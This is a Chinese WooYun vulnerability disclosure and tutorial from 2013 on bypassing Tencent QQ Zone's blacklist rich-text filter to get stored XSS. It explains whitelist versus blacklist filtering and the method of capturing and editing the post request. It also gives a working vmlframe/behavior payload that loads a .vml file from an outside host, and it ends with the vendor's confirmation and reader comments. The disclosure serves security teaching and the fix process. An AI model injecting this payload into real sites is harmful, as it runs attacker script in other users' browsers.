漏洞概要 关注数(47) 关注此漏洞

缺陷编号: WooYun-2013-16779

漏洞标题: [腾讯实例教程] 那些年我们一起学XSS - 20. 存储型XSS入门 [套现绕过富文本]

相关厂商: 腾讯

漏洞作者: 心伤的瘦子

提交时间: 2013-01-01 09:05

公开时间: 2013-02-15 09:05

漏洞类型: xss跨站脚本攻击

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

Tags标签: 存储型xss xss技巧

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-01: 细节已通知厂商并且等待厂商处理中
2013-01-04: 厂商已经确认,细节仅向厂商公开
2013-01-14: 细节向核心白帽子及相关领域专家公开
2013-01-24: 细节向普通白帽子公开
2013-02-03: 细节向实习白帽子公开
2013-02-15: 细节向公众公开

简要描述:

很多应用含有富文本内容,这类应用最典型的特征是具有编辑器,例如:博客日志,邮箱等。这类应用往往允许使用一定的HTML代码。为了在用户体验和安全之间寻找平衡,各种厂商可能采用了不尽相同的办法。但是总体来说,有2类。

第1类我们称为白名单,即:只允许使用白名单内的合法HTML标签,例如IMG。其它均剔除。例如:百度贴吧回帖时候的代码过滤方式。
第2类我们称为黑名单,即:厂商会构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。 如:QQ邮箱的发邮件时的过滤方式。

白名单要安全得多,而黑名单的方式则经常会被绕过。

绕过的技巧也有很多,我们可以从最没技术含量的开始说起!! 本节将以QQ空间/QQ校友的日志功能为例来说明,什么是“套现绕过富文本”!

注意:本节说的“套现”,不是与“钱”有关的;在这里的含义是:“套用现成的XSS代码”。

详细说明:

1. 新手平时测试XSS时,经常会用到<script>alert(1)</script>到处插入,看效果。



2. 这种做法,在某些反射型XSS,或者你运气好的时候,确实能碰到。但是如果拿到QQ空间日志里去插入。嗯,后果一定会很悲壮,被过滤的毛都没有了。。



3. 这是为什么呢?因为<script>在腾讯的黑名单中,被过滤是理所当然的。



4. 试想,如果我们找到一个不在腾讯黑名单中的XSS代码,岂不是就可以成功在日志里执行XSS了么?



5. 有的人会问了。。哪里去找啊?? 方法有2种:



5.1 你足够牛,自己去发现。

5.2 已经有大牛为我们准备了很好的资料,去里面翻。



6. 我不够牛,所以我只能去大牛的资料里翻咯。



这里我翻的是 @sogili 维护的 http://html5sec.org/ ,里面有很多哦



picture\4_100.jpg





7. 然后我就开始按照下面的流程慢慢测试。



先进QQ空间,发表一个日志,然后编辑日志,同时抓包。



picture\7_99.jpg





修改抓包内容后,这里修改的是日志内容。提交修改后的数据包!



然后我们来看看日志里的源代码里,我们提交的XSS代码是否被过滤。



picture\10_101.jpg





8. 这里我们就不说失败的了,直接说成功的部分。



我们提交以下代码:



<vmlframe xmlns="urn:schemas-microsoft-com:vml" style="behavior:url(#default#vml);position:absolute;width:100%;height:100%" src="http://itsokla.duapp.com/shouzi.vml#xss"></vmlframe>





然后看看源代码的输出:



picture\13_102.jpg





可以看到,这个XSS代码完全没过滤。



9. 我们可以看到XSS的效果。鼠标移到日志上,即会触发XSS代码。



picture\16_110.jpg





10. 很简单,对吧? 但是有以下问题我们要注意!!



10.1 使用代码前,先自己在本地试下,是否能执行!搞清楚你所使用的XSS代码的原理是什么!



10.2 搞清楚XSS代码的适用范围:如:在什么浏览器的什么版本之下才能使用,是否需要用户交互等。



10.3 注意平时对此类代码的搜集与整理。

漏洞证明:

见详细说明!

修复方案:

过滤 behavior, 和你们修复邮箱里相同问题的方法一样即可。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-04 17:41

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评论

  1. 2013-01-01 09:34 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    新年快乐,瘦子。。。

  2. 2013-01-01 09:34 | 蓝风 ( 普通白帽子 | Rank:123 漏洞数:23 | ‮#知我者謂我心憂 不知我者謂我何求#)
    0

    新年围观

  3. 2013-01-01 09:50 | rasca1 ( 实习白帽子 | Rank:14 漏洞数:3 | 菜鸟一只)
    0

    新年围观,坐等公开

  4. 2013-01-01 09:52 | txcbg ( 普通白帽子 | Rank:294 漏洞数:39 | 说点什么呢?)
    0

    大家新年快乐!

  5. 2013-01-01 10:54 | 疯子 ( 普通白帽子 | Rank:146 漏洞数:22 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    @鬼魅羊羔 新年快乐 机油们

  6. 2013-01-01 11:26 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @心伤的瘦子 老湿,你开始发高危的咯~哈哈,这是给企鹅的新年礼物么?

  7. 2013-01-01 12:42 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    @疯子 @txcbg @rasca1 @蓝风 @鬼魅羊羔 @se55i0n 新年快乐

  8. 2013-01-01 12:43 | 疯子 ( 普通白帽子 | Rank:146 漏洞数:22 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    @心伤的瘦子 老湿 可否私信个联系方式 想请教点问题

  9. 2013-01-01 12:51 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @心伤的瘦子 老湿,期待你企鹅之后的续集(新浪、百度、网易、搜狐...)

  10. 2013-01-01 15:04 | 半世倾尘 ( 实习白帽子 | Rank:9 漏洞数:4 | 努力)
    0

    看不了

  11. 2013-01-01 15:46 | cnhello ( 实习白帽子 | Rank:0 漏洞数:1 | 小菜一枚,学习中。。。)
    0

    新年快乐

  12. 2013-01-01 17:06 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    顶。

  13. 2013-02-04 20:20 | Csser ( 实习白帽子 | Rank:11 漏洞数:6 | 俺是小彩笔、为了一枚Xsser邀请码)
    0

    新年快乐- -

  14. 2013-02-07 16:08 | Alien ( 实习白帽子 | Rank:3 漏洞数:1 | 如果疯狂是一种错误,下一句?)
    0

    新年快乐

  15. 2013-02-15 11:33 | 正在输入 ( 实习白帽子 | Rank:6 漏洞数:1 | 一直在磨蹭,一直在输入。。。。。。\0)
    0

    墨迹墨迹。。。直接抗个锤子把腾讯机房砸了吧。。。你应该把所有漏洞都集中在节假日提交·~

  16. 2013-04-21 15:42 | 银冥币 ( 实习白帽子 | Rank:10 漏洞数:2 | 南京求基友)
    0

    @心伤的瘦子 大牛求一份xss代码列表